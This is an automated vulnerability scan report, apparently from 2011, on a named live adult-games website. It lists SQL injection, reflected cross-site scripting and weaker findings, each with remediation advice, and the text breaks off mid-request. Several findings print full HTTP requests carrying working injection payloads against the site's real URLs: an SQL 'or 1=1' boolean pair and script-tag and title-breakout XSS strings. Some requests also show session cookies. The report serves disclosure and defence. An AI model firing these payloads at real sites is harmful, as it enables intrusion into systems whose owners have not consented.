XSS, SQL Injection, DORK, Cross Site Scripting, CWE-79, CAPEC-86, lessonofpassion.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Apr 17 17:28:04 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://www.lessonofpassion.com/games_category.php [category parameter]

2.2. http://www.lessonofpassion.com/games_category.php [category parameter]

2.3. http://www.lessonofpassion.com/games_category.php [name of an arbitrarily supplied request parameter]

3. Cleartext submission of password

3.1. http://www.lessonofpassion.com/games_category.php

3.2. http://www.lessonofpassion.com/games_dev.php

3.3. http://www.lessonofpassion.com/lop_games.php

3.4. http://www.lessonofpassion.com/user.php

4. Cookie without HttpOnly flag set

4.1. http://www.lessonofpassion.com/games_category.php

4.2. http://www.lessonofpassion.com/lop_games.php

5. Password field with autocomplete enabled

5.1. http://www.lessonofpassion.com/games_category.php

5.2. http://www.lessonofpassion.com/games_dev.php

5.3. http://www.lessonofpassion.com/lop_games.php

5.4. http://www.lessonofpassion.com/user.php

6. Cross-domain Referer leakage

6.1. http://www.lessonofpassion.com/games_category.php

6.2. http://www.lessonofpassion.com/games_category.php

6.3. http://www.lessonofpassion.com/lop_games.php

6.4. http://www.lessonofpassion.com/lop_games.php

6.5. http://www.lessonofpassion.com/user.php

6.6. http://www.lessonofpassion.com/user.php

6.7. http://www.lessonofpassion.com/user.php

6.8. http://www.lessonofpassion.com/user.php

7. Cross-domain script include

7.1. http://www.lessonofpassion.com/games_category.php

7.2. http://www.lessonofpassion.com/games_dev.php

7.3. http://www.lessonofpassion.com/lop_games.php

7.4. http://www.lessonofpassion.com/user.php

8. TRACE method is enabled

9. HTML does not specify charset

9.1. http://www.lessonofpassion.com/comlink.swf

9.2. http://www.lessonofpassion.com/user.php



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The imageField.x parameter appears to be vulnerable to SQL injection attacks. The payloads 18785282'%20or%201%3d1--%20 and 18785282'%20or%201%3d2--%20 were each submitted in the imageField.x parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=3118785282'%20or%201%3d1--%20&imageField.y=5

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:01 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5758
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<a href="http://www.flashforadults.com/?t=110138,1,66,0" target = "_blank"><img src="lopsalesforce/vert_ffa.jpg" border="0"></a>
</center>


</div>

<div id="sitecontent">



<span class="big">Login ERROR</span><br /><br />
You have not defined your LOGIN or PASSWORD.<br />
Please LOGIN again using correct data.<br /><br />

If you are new user please <a href="user.php?type=register">REGISTER</a>



</div>



</div>



<div id="footer">
       
<div id="frame">
<div id="contentleft">



   
</div>

<div id="contentcenter">
       
<strong>WARNING: This website contains explicit adult material.</strong> You may only use this Website if you are at least 18 years of age, or at least the age of majority in the jurisdiction where you reside or from which you access this Website. If you do not meet these requirements, then you do not have permission to use the Website.



       
</div>        
       
<div id="contentright">        
<span class = "regular">Important links:<br /><br />

> <a href="index.php">Home page</a><br />
> <a href="http://lessonofpassion.com/support/index.php">Contact form</a><br />

<br />

All rights reserverd<br />
Copyright .. 2010 <br />

</div>

</div>
       </div>




<span class = "absi">

<script type="text/javascript">
AC_FL_RunContent( "codebase","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0","width","380","height","220","src", "comlink?username=&quest=", "quality","high", "pluginspage", "http://www.macromedia.com/go/getflashplayer","movie","comlink?username=&quest=" , "menu", "false", "z-index","-1","wmode", "transparent"); //end AC code
</script>

</span>



<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2399441-3";
urchinTracker();
</script>

</body>
</html>

Request 2

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=3118785282'%20or%201%3d2--%20&imageField.y=5

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:02 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5781
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<a href="http://outcastacademy.com/index.php?targeo=lopvert" target = "_blank"><img src="lopsalesforce/outcastacademy_vert_160x600.jpg" border="0"></a>
</center>


</div>

<div id="sitecontent">



<span class="big">Login ERROR</span><br /><br />
You have not defined your LOGIN or PASSWORD.<br />
Please LOGIN again using correct data.<br /><br />

If you are new user please <a href="user.php?type=register">REGISTER</a>



</div>



</div>



<div id="footer">
       
<div id="frame">
<div id="contentleft">



   
</div>

<div id="contentcenter">
       
<strong>WARNING: This website contains explicit adult material.</strong> You may only use this Website if you are at least 18 years of age, or at least the age of majority in the jurisdiction where you reside or from which you access this Website. If you do not meet these requirements, then you do not have permission to use the Website.



       
</div>        
       
<div id="contentright">        
<span class = "regular">Important links:<br /><br />

> <a href="index.php">Home page</a><br />
> <a href="http://lessonofpassion.com/support/index.php">Contact form</a><br />

<br />

All rights reserverd<br />
Copyright .. 2010 <br />

</div>

</div>
       </div>




<span class = "absi">

<script type="text/javascript">
AC_FL_RunContent( "codebase","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0","width","380","height","220","src", "comlink?username=&quest=", "quality","high", "pluginspage", "http://www.macromedia.com/go/getflashplayer","movie","comlink?username=&quest=" , "menu", "false", "z-index","-1","wmode", "transparent"); //end AC code
</script>

</span>



<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2399441-3";
urchinTracker();
</script>

</body>
</html>


2. Cross-site scripting (reflected)  previous  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.lessonofpassion.com/games_category.php [category parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The value of the category request parameter is copied into the HTML document as plain text between tags. The payload 831ae<script>alert(1)</script>d9bccb5f332 was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E831ae<script>alert(1)</script>d9bccb5f332 HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:01:11 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5842
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
</script>831ae<script>alert(1)</script>d9bccb5f332 games</div>
...[SNIP]...

2.2. http://www.lessonofpassion.com/games_category.php [category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The value of the category request parameter is copied into the HTML document as text between TITLE tags. The payload f55ae</title><script>alert(1)</script>6da55e9a11e was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3Ef55ae</title><script>alert(1)</script>6da55e9a11e HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:01:15 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5835
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
</script>f55ae</title><script>alert(1)</script>6da55e9a11e erotic flash games</title>
...[SNIP]...

2.3. http://www.lessonofpassion.com/games_category.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 13a0e%3balert(1)//06699130b2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 13a0e;alert(1)//06699130b2c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/scrip/13a0e%3balert(1)//06699130b2ct%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:01:52 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5352
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
</scrip/13a0e;alert(1)//06699130b2ct>
...[SNIP]...

3. Cleartext submission of password  previous  next
There are 4 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


3.1. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:42 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5744
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

3.2. http://www.lessonofpassion.com/games_dev.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_dev.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /games_dev.php HTTP/1.1
Host: www.lessonofpassion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:13 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 11695


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

3.3. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 9290
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

3.4. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=32&imageField.y=6

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5340
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=e41c29e414a494437d8903071ef44b03; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5319
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...

4.2. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 8785
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...

5. Password field with autocomplete enabled  previous  next
There are 4 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


5.1. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
